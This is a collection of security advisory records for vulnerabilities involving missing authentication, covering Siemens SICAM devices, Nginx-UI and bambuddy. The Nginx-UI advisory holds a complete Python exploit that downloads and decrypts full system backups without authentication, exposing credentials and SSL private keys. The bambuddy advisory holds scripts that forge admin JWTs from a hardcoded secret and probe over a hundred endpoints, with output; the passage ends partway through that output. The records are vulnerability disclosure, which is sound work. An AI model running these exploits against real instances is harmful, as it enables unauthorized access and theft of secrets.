CWE-306

{
  "affected": [],
  "aliases": [
    "CVE-2022-29877"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-20T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been identified in SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00). Affected devices allow unauthenticated access to the web interface configuration area. This could allow an attacker to extract internal configuration details or to reconfigure network settings. However, the reconfigured settings cannot be activated unless the role of an authenticated administrator user.",
  "id": "GHSA-g9j3-3283-g3gq",
  "modified": "2022-06-03T00:01:49Z",
  "published": "2022-05-21T00:01:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29877"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-165073.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/0xJacky/Nginx-UI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27944"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-311"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-05T18:26:41Z",
    "nvd_published_at": "2026-03-05T19:16:05Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe `/api/backup` endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the `X-Backup-Security` response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately.\n\n## Vulnerability Details\n\n| Field | Value |\n|-------|-------|\n| CWE | CWE-306: Missing Authentication for Critical Function + CWE-311: Missing Encryption of Sensitive Data |\n| Affected File | `api/backup/router.go` |\n| Affected Function | `CreateBackup` (lines 8-11 in router, implementation in `api/backup/backup.go:13-38`) |\n| Secondary File | `internal/backup/backup.go` |\n| CVSS 3.1 | 9.8 (Critical) |\n| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |\n\n## Root Cause\n\nThe vulnerability exists due to two critical security flaws:\n\n### 1. Missing Authentication on /api/backup Endpoint\n\nIn `api/backup/router.go:9`, the backup endpoint is registered without any authentication middleware:\n\n```go\nfunc InitRouter(r *gin.RouterGroup) {\n\tr.GET(\"/backup\", CreateBackup)  // No authentication required\n\tr.POST(\"/restore\", middleware.EncryptedForm(), RestoreBackup)  // Has middleware\n}\n```\n\nFor comparison, the restore endpoint correctly uses middleware, while the backup endpoint is completely open.\n\n### 2. Encryption Keys Disclosed in HTTP Response Headers\n\nIn `api/backup/backup.go:22-33`, the AES-256 encryption key and IV are sent in plaintext via the `X-Backup-Security` header:\n\n```go\nfunc CreateBackup(c *gin.Context) {\n\tresult, err := backup.Backup()\n\tif err != nil {\n\t\tcosy.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\t// Concatenate Key and IV\n\tsecurityToken := result.AESKey + \":\" + result.AESIv  // Keys sent in header\n\n\t// ...\n\tc.Header(\"X-Backup-Security\", securityToken) // Keys exposed to anyone\n\n\t// Send file content\n\thttp.ServeContent(c.Writer, c.Request, fileName, modTime, reader)\n}\n```\n\nThe encryption keys are Base64-encoded AES-256 key (32 bytes) and IV (16 bytes), formatted as `key:iv`.\n\n### 3. Backup Contents\n\nThe backup archive (created in `internal/backup/backup.go`) contains:\n\n```go\n// Files included in backup:\n- nginx-ui.zip (encrypted)\n  \u2514\u2500\u2500 database.db          // User credentials, session tokens\n  \u2514\u2500\u2500 app.ini              // Configuration with secrets\n  \u2514\u2500\u2500 server.key/cert      // SSL certificates\n\n- nginx.zip (encrypted)\n  \u2514\u2500\u2500 nginx.conf           // Nginx configuration\n  \u2514\u2500\u2500 sites-enabled/*      // Virtual host configs\n  \u2514\u2500\u2500 ssl/*                // SSL private keys\n\n- hash_info.txt (encrypted)\n  \u2514\u2500\u2500 SHA-256 hashes for integrity verification\n```\n\nAll files are encrypted with AES-256-CBC, but the keys are disclosed in the response.\n\n## Proof of Concept\n\n### Python script\n\n```python\n#!/usr/bin/env python3\n\n\"\"\"\nPOC: Unauthenticated Backup Download + Key Disclosure via X-Backup-Security\n\nUsage:\n  python poc.py --target http://127.0.0.1:9000 --out backup.bin --decrypt\n\"\"\"\n\nimport argparse\nimport base64\nimport os\nimport sys\nimport urllib.parse\nimport urllib.request\nimport zipfile\nfrom io import BytesIO\n\ntry:\n    from Crypto.Cipher import AES\n    from Crypto.Util.Padding import unpad\nexcept ImportError:\n    print(\"Error: pycryptodome required for decryption\")\n    print(\"Install with: pip install pycryptodome\")\n    sys.exit(1)\n\n\ndef _parse_keys(hdr_val: str):\n    \"\"\"\n    Parse X-Backup-Security header format: \"base64_key:base64_iv\"\n    Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==\n    \"\"\"\n    v = (hdr_val or \"\").strip()\n\n    # Format is: key:iv (both base64 encoded)\n    if \":\" in v:\n        parts = v.split(\":\", 1)\n        if len(parts) == 2:\n            return parts[0].strip(), parts[1].strip()\n\n    return None, None\n\n\ndef decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -\u003e bytes:\n    \"\"\"Decrypt using AES-256-CBC with PKCS#7 padding\"\"\"\n    key = base64.b64decode(key_b64)\n    iv = base64.b64decode(iv_b64)\n\n    if len(key) != 32:\n        raise ValueError(f\"Invalid key length: {len(key)} (expected 32 bytes for AES-256)\")\n    if len(iv) != 16:\n        raise ValueError(f\"Invalid IV length: {len(iv)} (expected 16 bytes)\")\n\n    cipher = AES.new(key, AES.MODE_CBC, iv)\n    decrypted = cipher.decrypt(encrypted_data)\n    return unpad(decrypted, AES.block_size)\n\n\ndef extract_backup(encrypted_zip_path: str, key_b64: str, iv_b64: str, output_dir: str):\n    \"\"\"Extract and decrypt the backup archive\"\"\"\n    print(f\"\\n[*] Extracting encrypted backup to {output_dir}\")\n\n    os.makedirs(output_dir, exist_ok=True)\n\n    # Extract the main ZIP (contains encrypted files)\n    with zipfile.ZipFile(encrypted_zip_path, \u0027r\u0027) as main_zip:\n        print(f\"[*] Main archive contains: {main_zip.namelist()}\")\n        main_zip.extractall(output_dir)\n\n    # Decrypt each file\n    encrypted_files = [\"hash_info.txt\", \"nginx-ui.zip\", \"nginx.zip\"]\n\n    for filename in encrypted_files:\n        filepath = os.path.join(output_dir, filename)\n        if not os.path.exists(filepath):\n            print(f\"[!] Warning: {filename} not found\")\n            continue\n\n        print(f\"[*] Decrypting {filename}...\")\n\n        with open(filepath, \"rb\") as f:\n            encrypted = f.read()\n\n        try:\n            decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)\n\n            # Write decrypted file\n            decrypted_path = filepath.replace(\".zip\", \"_decrypted.zip\") if filename.endswith(\".zip\") else filepath + \".decrypted\"\n            with open(decrypted_path, \"wb\") as f:\n                f.write(decrypted)\n\n            print(f\"    \u2192 Saved to {decrypted_path} ({len(decrypted)} bytes)\")\n\n            # If it\u0027s a ZIP, extract it\n            if filename.endswith(\".zip\"):\n                extract_dir = os.path.join(output_dir, filename.replace(\".zip\", \"\"))\n                os.makedirs(extract_dir, exist_ok=True)\n                with zipfile.ZipFile(BytesIO(decrypted), \u0027r\u0027) as inner_zip:\n                    inner_zip.extractall(extract_dir)\n                    print(f\"    \u2192 Extracted {len(inner_zip.namelist())} files to {extract_dir}\")\n\n        except Exception as e:\n            print(f\"    \u2717 Failed to decrypt {filename}: {e}\")\n\n    # Show hash info\n    hash_info_path = os.path.join(output_dir, \"hash_info.txt.decrypted\")\n    if os.path.exists(hash_info_path):\n        print(f\"\\n[*] Hash info:\")\n        with open(hash_info_path, \"r\") as f:\n            print(f.read())\n\ndef main():\n    ap = argparse.ArgumentParser(\n        description=\"Nginx UI - Unauthenticated backup download with key disclosure\"\n    )\n    ap.add_argument(\"--target\", required=True, help=\"Base URL, e.g. http://host:port\")\n    ap.add_argument(\"--out\", default=\"backup.bin\", help=\"Where to save the encrypted backup\")\n    ap.add_argument(\"--decrypt\", action=\"store_true\", help=\"Decrypt the backup after download\")\n    ap.add_argument(\"--extract-dir\", default=\"backup_extracted\", help=\"Directory to extract decrypted files\")\n\n    args = ap.parse_args()\n\n    url = urllib.parse.urljoin(args.target.rstrip(\"/\") + \"/\", \"api/backup\")\n\n    # Unauthenticated request to the backup endpoint\n    req = urllib.request.Request(url, method=\"GET\")\n\n    try:\n        with urllib.request.urlopen(req, timeout=20) as resp:\n            hdr = resp.headers.get(\"X-Backup-Security\", \"\")\n            key, iv = _parse_keys(hdr)\n            data = resp.read()\n    except urllib.error.HTTPError as e:\n        print(f\"[!] HTTP Error {e.code}: {e.reason}\")\n        sys.exit(1)\n    except Exception as e:\n        print(f\"[!] Error: {e}\")\n        sys.exit(1)\n\n    with open(args.out, \"wb\") as f:\n        f.write(data)\n\n    # Key/IV disclosure in response header enables decryption of the downloaded backup\n    print(f\"\\nX-Backup-Security: {hdr}\")\n    print(f\"Parsed AES-256 key: {key}\")\n    print(f\"Parsed AES IV    : {iv}\")\n\n    if key and iv:\n        # Verify key/IV lengths\n        try:\n            key_bytes = base64.b64decode(key)\n            iv_bytes = base64.b64decode(iv)\n            print(f\"\\n[*] Key length: {len(key_bytes)} bytes (AES-256 \u2713)\")\n            print(f\"[*] IV length : {len(iv_bytes)} bytes (AES block size \u2713)\")\n        except Exception as e:\n            print(f\"[!] Error decoding keys: {e}\")\n            sys.exit(1)\n\n        if args.decrypt:\n            try:\n                extract_backup(args.out, key, iv, args.extract_dir)\n\n            except Exception as e:\n                print(f\"\\n[!] Decryption failed: {e}\")\n                import traceback\n                traceback.print_exc()\n                sys.exit(1)\n    else:\n        print(\"\\n[!] Failed to parse encryption keys from X-Backup-Security header\")\n        print(f\"    Header value: {hdr}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n```bash\n# Download and decrypt backup (no authentication required)\n# pip install pycryptodome\npython poc.py --target http://victim:9000 --decrypt\n```\n\n```\nX-Backup-Security: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=:+rLZrXK3kbWFRK3qMpB3jw==\nParsed AES-256 key: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=\nParsed AES IV    : +rLZrXK3kbWFRK3qMpB3jw==\n\n[*] Key length: 32 bytes (AES-256 \u00e2\u0153\u201c)\n[*] IV length : 16 bytes (AES block size \u00e2\u0153\u201c)\n\n[*] Extracting encrypted backup to backup_extracted\n[*] Main archive contains: [\u0027hash_info.txt\u0027, \u0027nginx-ui.zip\u0027, \u0027nginx.zip\u0027]\n[*] Decrypting hash_info.txt...\n    \u00e2\u2020\u2019 Saved to backup_extracted/hash_info.txt.decrypted (199 bytes)\n[*] Decrypting nginx-ui.zip...\n    \u00e2\u2020\u2019 Saved to backup_extracted/nginx-ui_decrypted.zip (12510 bytes)\n    \u00e2\u2020\u2019 Extracted 2 files to backup_extracted/nginx-ui\n[*] Decrypting nginx.zip...\n    \u00e2\u2020\u2019 Saved to backup_extracted/nginx_decrypted.zip (5682 bytes)\n    \u00e2\u2020\u2019 Extracted 17 files to backup_extracted/nginx\n\n[*] Hash info:\nnginx-ui_hash: 7c803b9b8791cebfad36977a321431182b22878c3faf8af544d05318ccb83ad5\nnginx_hash: 183458949e54794e1295449f0d6c1175bb92c1ee008be671ee9ee759aad73905\ntimestamp: 20260129-122110\nversion: 2.3.2\n```\n\n### HTTP Request (Raw)\n\n```http\nGET /api/backup HTTP/1.1\nHost: victim:9000\n\n```\n\n**No authentication required** - this request will succeed and return:\n- Encrypted backup as ZIP file\n- Encryption keys in `X-Backup-Security` header\n\n### Example Response\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/zip\nContent-Disposition: attachment; filename=backup-20260129-120000.zip\nX-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==\n\n[Binary ZIP data]\n```\n\nThe `X-Backup-Security` header contains:\n- **Key**: `e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=` (Base64-encoded 32-byte AES-256 key)\n- **IV**: `7XdVSRcgYfWf7C/J0IS8Cg==` (Base64-encoded 16-byte IV)\n\n\u003cimg width=\"1430\" height=\"835\" alt=\"screenshot\" src=\"https://github.com/user-attachments/assets/a2e23c48-2272-4276-81de-fc700ff05b17\" /\u003e\n\n## Resources\n\n- [CWE-306: Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- [CWE-311: Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html)\n- [OWASP: Broken Authentication](https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication)\n- [OWASP: Sensitive Data Exposure](https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure)\n- [NIST: Key Management Guidelines](https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final)",
  "id": "GHSA-g9w5-qffc-6762",
  "modified": "2026-03-05T22:37:19Z",
  "published": "2026-03-05T18:26:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27944"
    },
    {
      "type": "WEB",
      "url": "https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/0xJacky/nginx-ui"
    },
    {
      "type": "WEB",
      "url": "https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication"
    },
    {
      "type": "WEB",
      "url": "https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nginx-UI Vulnerable to Unauthenticated Backup Download with Encryption Key Disclosure"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "bambuddy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25505"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-02T21:21:14Z",
    "nvd_published_at": "2026-02-04T20:16:07Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n1. A hardcoded secret key used for signing JWTs is checked into source code\n2. ManyAPI routes do not check authentication\n\n### Details\nI am using the publicly available docker image at `ghcr.io/maziggy/bambuddy`\n#### 1. Hardcoded JWT Secret Key\nhttps://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28\n\n\u003cdetails\u003e\n\u003csummary\u003eCopying the Authorization token from a request via browser networking tools into JWT.io confirms the token is signed with this key\u003c/summary\u003e\n\n\u003cimg width=\"1591\" height=\"937\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fd6e805a-9380-438f-a412-623660fa3f5a\" /\u003e\n\n\u003c/details\u003e\n\nAny attacker can:\n1. Forge valid JWT tokens for any user\n2. Bypass authentication entirely\n3. Gain full administrative access to any Bambuddy instance using the default key\n\n**Steps to Reproduce:**\n\n1. Run an instance of BamBuddy\n2. Create admin user\n3. Forge and use JWT:\n```python\nimport jwt\nimport requests\n\ntoken = jwt.encode({\"sub\": \"admin\", \"exp\": 9999999999}, \"bambuddy-secret-key-change-in-production\", algorithm=\"HS256\")\nresp = requests.get(\"http://10.0.0.4:8000/api/v1/system/info\", headers={\"Authorization\": f\"Bearer {token}\"})\n\nprint(resp.status_code) # 200\nprint(resp.text) # {\"app\":{\"version\":\"0.1.7b\",\"base_dir\":\"/app/data\",\"archive_dir\":\"/app/data/archive\"},\"database\": ...\n```\n\n#### 2. Most API Routes do not check Auth\nWhile investigating the JWT forgery, I noticed that requests without `Authorization` headers still returned information for many endpoints:\n```python\nresp = requests.get(\"http://10.0.0.4:8000/api/v1/system/info\", headers={}) # Empty headers\n\nprint(resp.status_code) # 200\nprint(resp.text) # {\"app\":{\"version\":\"0.1.7b\",\"base_dir\":\"/app/data\",\"archive_dir\":\"/app/data/archive\"},\"database\": ...\n```\n\n#### Full Script and Output\n\nNote: I do not have smart plugs or spoolman set up to verify actual behavior with those endpoints so they are excluded from this script.\n\n\u003cdetails\u003e\n\u003csummary\u003eScript to test GET endpoints with forged JWT and without any auth\u003c/summary\u003e\n\n```python3\n#!/usr/bin/env python3\n\"\"\"\nProof of Concept: JWT Forgery via Hardcoded Secret Key (VULN-001)\nFor security research purposes only.\n\nTests all GET endpoints to identify which are accessible without authentication.\n\"\"\"\n\nimport requests\nimport jwt\n\n# Hardcoded secret from backend/app/core/auth.py:28\nHARDCODED_SECRET = \"bambuddy-secret-key-change-in-production\"\nTARGET = \"http://10.0.0.4:8000\"\nAPI_PREFIX = \"/api/v1\"\n\n# All GET endpoints organized by router\nENDPOINTS = {\n    \"system\": [\n        \"/system/info\",\n    ],\n    \"auth\": [\n        \"/auth/status\",\n        \"/auth/me\",\n    ],\n    \"users\": [\n        \"/users\",\n        \"/users/1\",\n        \"/users/1/items-count\",\n    ],\n    \"groups\": [\n        \"/groups\",\n        \"/groups/permissions\",\n        \"/groups/1\",\n    ],\n    \"settings\": [\n        \"/settings\",\n        \"/settings/check-ffmpeg\",\n        \"/settings/spoolman\",\n        \"/settings/backup\",\n        \"/settings/virtual-printer/models\",\n        \"/settings/virtual-printer\",\n        \"/settings/mqtt/status\",\n    ],\n    \"printers\": [\n        \"/printers/\",\n        \"/printers/usb-cameras\",\n        \"/printers/1\",\n        \"/printers/1/status\",\n        \"/printers/1/current-print-user\",\n        \"/printers/1/cover\",\n        \"/printers/1/files\",\n        \"/printers/1/storage\",\n        \"/printers/1/logging\",\n        \"/printers/1/slot-presets\",\n        \"/printers/1/slot-presets/1/1\",\n        \"/printers/1/print/objects\",\n        \"/printers/1/runtime-debug\",\n        \"/printers/1/camera/status\",\n        \"/printers/1/camera/test\",\n        \"/printers/1/camera/plate-detection/status\",\n        \"/printers/1/camera/plate-detection/references\",\n        \"/printers/1/kprofiles/\",\n        \"/printers/1/kprofiles/notes\",\n    ],\n    \"archives\": [\n        \"/archives/\",\n        \"/archives/search\",\n        \"/archives/compare\",\n        \"/archives/analysis/failures\",\n        \"/archives/stats\",\n        \"/archives/tags\",\n        \"/archives/1\",\n        \"/archives/1/similar\",\n        \"/archives/1/duplicates\",\n        \"/archives/1/capabilities\",\n        \"/archives/1/gcode\",\n        \"/archives/1/plates\",\n        \"/archives/1/filament-requirements\",\n        \"/archives/1/project-page\",\n        \"/archives/1/source\",\n    ],\n    \"filaments\": [\n        \"/filaments/\",\n        \"/filaments/1\",\n        \"/filaments/by-type/pla\",\n    ],\n    \"cloud\": [\n        \"/cloud/status\",\n        \"/cloud/settings\",\n        \"/cloud/settings/1\",\n        \"/cloud/devices\",\n        \"/cloud/firmware-updates\",\n        \"/cloud/fields\",\n        \"/cloud/fields/print\",\n    ],\n    \"queue\": [\n        \"/queue/\",\n        \"/queue/1\",\n    ],\n    \"notifications\": [\n        \"/notifications/\",\n        \"/notifications/logs\",\n        \"/notifications/logs/stats\",\n        \"/notifications/1\",\n    ],\n    \"notification_templates\": [\n        \"/notification-templates\",\n        \"/notification-templates/variables\",\n        \"/notification-templates/1\",\n    ],\n    \"updates\": [\n        \"/updates/version\",\n        \"/updates/check\",\n        \"/updates/status\",\n    ],\n    \"maintenance\": [\n        \"/maintenance/types\",\n        \"/maintenance/overview\",\n        \"/maintenance/summary\",\n        \"/maintenance/printers/1\",\n        \"/maintenance/items/1/history\",\n    ],\n    \"external_links\": [\n        \"/external-links/\",\n        \"/external-links/1\",\n    ],\n    \"projects\": [\n        \"/projects\",\n        \"/projects/templates\",\n        \"/projects/1\",\n        \"/projects/1/archives\",\n        \"/projects/1/queue\",\n        \"/projects/1/bom\",\n        \"/projects/1/timeline\",\n    ],\n    \"library\": [\n        \"/library/folders\",\n        \"/library/folders/by-archive/1\",\n        \"/library/folders/by-project/1\",\n        \"/library/files\",\n        \"/library/stats\",\n        \"/library/folders/1\",\n        \"/library/files/1\",\n        \"/library/files/1/plates\",\n        \"/library/files/1/gcode\",\n        \"/library/files/1/filament-requirements\",\n    ],\n    \"api_keys\": [\n        \"/api-keys/\",\n        \"/api-keys/1\",\n    ],\n    \"webhook\": [\n        \"/webhook/printer/1/status\",\n        \"/webhook/queue\",\n    ],\n    \"ams_history\": [\n        \"/ams-history/1/1\",\n    ],\n    \"support\": [\n        \"/support/debug-logging\",\n        \"/support/logs\",\n    ],\n    \"discovery\": [\n        \"/discovery/info\",\n        \"/discovery/status\",\n        \"/discovery/printers\",\n        \"/discovery/scan/status\",\n    ],\n    \"pending_uploads\": [\n        \"/pending-uploads/\",\n        \"/pending-uploads/count\",\n        \"/pending-uploads/1\",\n    ],\n    \"firmware\": [\n        \"/firmware/updates\",\n        \"/firmware/updates/1\",\n        \"/firmware/latest\",\n    ],\n    \"github_backup\": [\n        \"/github-backup/config\",\n        \"/github-backup/status\",\n        \"/github-backup/logs\",\n    ],\n    \"metrics\": [\n        \"/metrics\",\n    ],\n}\n\n\ndef forge_token():\n    \"\"\"Forge a valid JWT token using the hardcoded secret.\"\"\"\n    payload = {\"sub\": \"admin\", \"exp\": 9999999999}\n    return jwt.encode(payload, HARDCODED_SECRET, algorithm=\"HS256\")\n\n\ndef test_endpoint(endpoint, headers):\n    \"\"\"Test a single endpoint and return status.\"\"\"\n    try:\n        resp = requests.get(f\"{TARGET}{API_PREFIX}{endpoint}\", headers=headers, timeout=5)\n        return resp.status_code, resp.text[:100] if resp.status_code == 200 else None\n    except requests.RequestException as e:\n        return \"ERROR\", str(e)[:50]\n\n\ndef main():\n    token = forge_token()\n    print(f\"[*] Forged JWT token:\\n    {token}\\n\")\n\n    # Test with no auth, then with forged JWT\n    test_modes = [\n        (\"NO AUTH\", {}),\n        (\"FORGED JWT\", {\"Authorization\": f\"Bearer {token}\"}),\n    ]\n\n    results = {\"no_auth\": [], \"jwt_only\": [], \"both_fail\": []}\n\n    print(f\"[*] Testing {sum(len(v) for v in ENDPOINTS.values())} endpoints against {TARGET}\\n\")\n    print(\"=\" * 70)\n\n    for category, endpoints in ENDPOINTS.items():\n        print(f\"\\n[{category.upper()}]\")\n\n        for endpoint in endpoints:\n            no_auth_status, _ = test_endpoint(endpoint, {})\n            jwt_status, preview = test_endpoint(endpoint, {\"Authorization\": f\"Bearer {token}\"})\n\n            if no_auth_status == 200:\n                results[\"no_auth\"].append(endpoint)\n                print(f\"  {endpoint}: NO AUTH REQUIRED\")\n            elif jwt_status == 200:\n                results[\"jwt_only\"].append(endpoint)\n                print(f\"  {endpoint}: JWT WORKS\")\n            else:\n                results[\"both_fail\"].append((endpoint, no_auth_status, jwt_status))\n                print(f\"  {endpoint}: {no_auth_status} / {jwt_status}\")\n\n    # Summary\n    print(\"\\n\" + \"=\" * 70)\n    print(\"\\n[SUMMARY]\\n\")\n\n    print(f\"Endpoints accessible WITHOUT authentication ({len(results[\u0027no_auth\u0027])}):\")\n    for ep in results[\"no_auth\"]:\n        print(f\"  - {ep}\")\n\n    print(f\"\\nEndpoints accessible with FORGED JWT only ({len(results[\u0027jwt_only\u0027])}):\")\n    for ep in results[\"jwt_only\"]:\n        print(f\"  - {ep}\")\n\n    print(f\"\\nEndpoints that rejected both ({len(results[\u0027both_fail\u0027])}):\")\n    for ep, no_auth, jwt_auth in results[\"both_fail\"]:\n        print(f\"  - {ep} (no_auth: {no_auth}, jwt: {jwt_auth})\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003eScript output\u003c/summary\u003e\n\n```\n[*] Forged JWT token:\n    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzcGVlbmFoIiwiZXhwIjo5OTk5OTk5OTk5fQ.xeUmpf4PkhI7jHHGBPLWQEQQ4GTiiUOENeQkPpvNMnA\n\n[*] Testing 117 endpoints against http://10.0.0.4:8000\n\n======================================================================\n\n[SYSTEM]\n  /system/info: NO AUTH REQUIRED\n\n[AUTH]\n  /auth/status: NO AUTH REQUIRED\n  /auth/me: JWT WORKS\n\n[USERS]\n  /users: JWT WORKS\n  /users/1: JWT WORKS\n  /users/1/items-count: JWT WORKS\n\n[GROUPS]\n  /groups: JWT WORKS\n  /groups/permissions: JWT WORKS\n  /groups/1: JWT WORKS\n\n[SETTINGS]\n  /settings: NO AUTH REQUIRED\n  /settings/check-ffmpeg: NO AUTH REQUIRED\n  /settings/spoolman: NO AUTH REQUIRED\n  /settings/backup: NO AUTH REQUIRED\n  /settings/virtual-printer/models: NO AUTH REQUIRED\n  /settings/virtual-printer: NO AUTH REQUIRED\n  /settings/mqtt/status: NO AUTH REQUIRED\n\n[PRINTERS]\n  /printers/: JWT WORKS\n  /printers/usb-cameras: JWT WORKS\n  /printers/1: JWT WORKS\n  /printers/1/status: JWT WORKS\n  /printers/1/current-print-user: JWT WORKS\n  /printers/1/cover: JWT WORKS\n  /printers/1/files: JWT WORKS\n  /printers/1/storage: JWT WORKS\n  /printers/1/logging: JWT WORKS\n  /printers/1/slot-presets: JWT WORKS\n  /printers/1/slot-presets/1/1: JWT WORKS\n  /printers/1/print/objects: JWT WORKS\n  /printers/1/runtime-debug: JWT WORKS\n  /printers/1/camera/status: NO AUTH REQUIRED\n  /printers/1/camera/test: ERROR / ERROR\n  /printers/1/camera/plate-detection/status: NO AUTH REQUIRED\n  /printers/1/camera/plate-detection/references: NO AUTH REQUIRED\n  /printers/1/kprofiles/: ERROR / ERROR\n  /printers/1/kprofiles/notes: NO AUTH REQUIRED\n\n[ARCHIVES]\n  /archives/: NO AUTH REQUIRED\n  /archives/search: 422 / 422\n  /archives/compare: 422 / 422\n  /archives/analysis/failures: NO AUTH REQUIRED\n  /archives/stats: NO AUTH REQUIRED\n  /archives/tags: NO AUTH REQUIRED\n  /archives/1: NO AUTH REQUIRED\n  /archives/1/similar: NO AUTH REQUIRED\n  /archives/1/duplicates: NO AUTH REQUIRED\n  /archives/1/capabilities: NO AUTH REQUIRED\n  /archives/1/gcode: NO AUTH REQUIRED\n  /archives/1/plates: NO AUTH REQUIRED\n  /archives/1/filament-requirements: NO AUTH REQUIRED\n  /archives/1/project-page: NO AUTH REQUIRED\n  /archives/1/source: 404 / 404\n\n[FILAMENTS]\n  /filaments/: NO AUTH REQUIRED\n  /filaments/1: NO AUTH REQUIRED\n  /filaments/by-type/pla: NO AUTH REQUIRED\n\n[CLOUD]\n  /cloud/status: NO AUTH REQUIRED\n  /cloud/settings: 401 / 401\n  /cloud/settings/1: 401 / 401\n  /cloud/devices: 401 / 401\n  /cloud/firmware-updates: 401 / 401\n  /cloud/fields: NO AUTH REQUIRED\n  /cloud/fields/print: NO AUTH REQUIRED\n\n[QUEUE]\n  /queue/: NO AUTH REQUIRED\n  /queue/1: 404 / 404\n\n[NOTIFICATIONS]\n  /notifications/: NO AUTH REQUIRED\n  /notifications/logs: NO AUTH REQUIRED\n  /notifications/logs/stats: NO AUTH REQUIRED\n  /notifications/1: 404 / 404\n\n[NOTIFICATION_TEMPLATES]\n  /notification-templates: NO AUTH REQUIRED\n  /notification-templates/variables: NO AUTH REQUIRED\n  /notification-templates/1: NO AUTH REQUIRED\n\n[UPDATES]\n  /updates/version: NO AUTH REQUIRED\n  /updates/check: NO AUTH REQUIRED\n  /updates/status: NO AUTH REQUIRED\n\n[MAINTENANCE]\n  /maintenance/types: NO 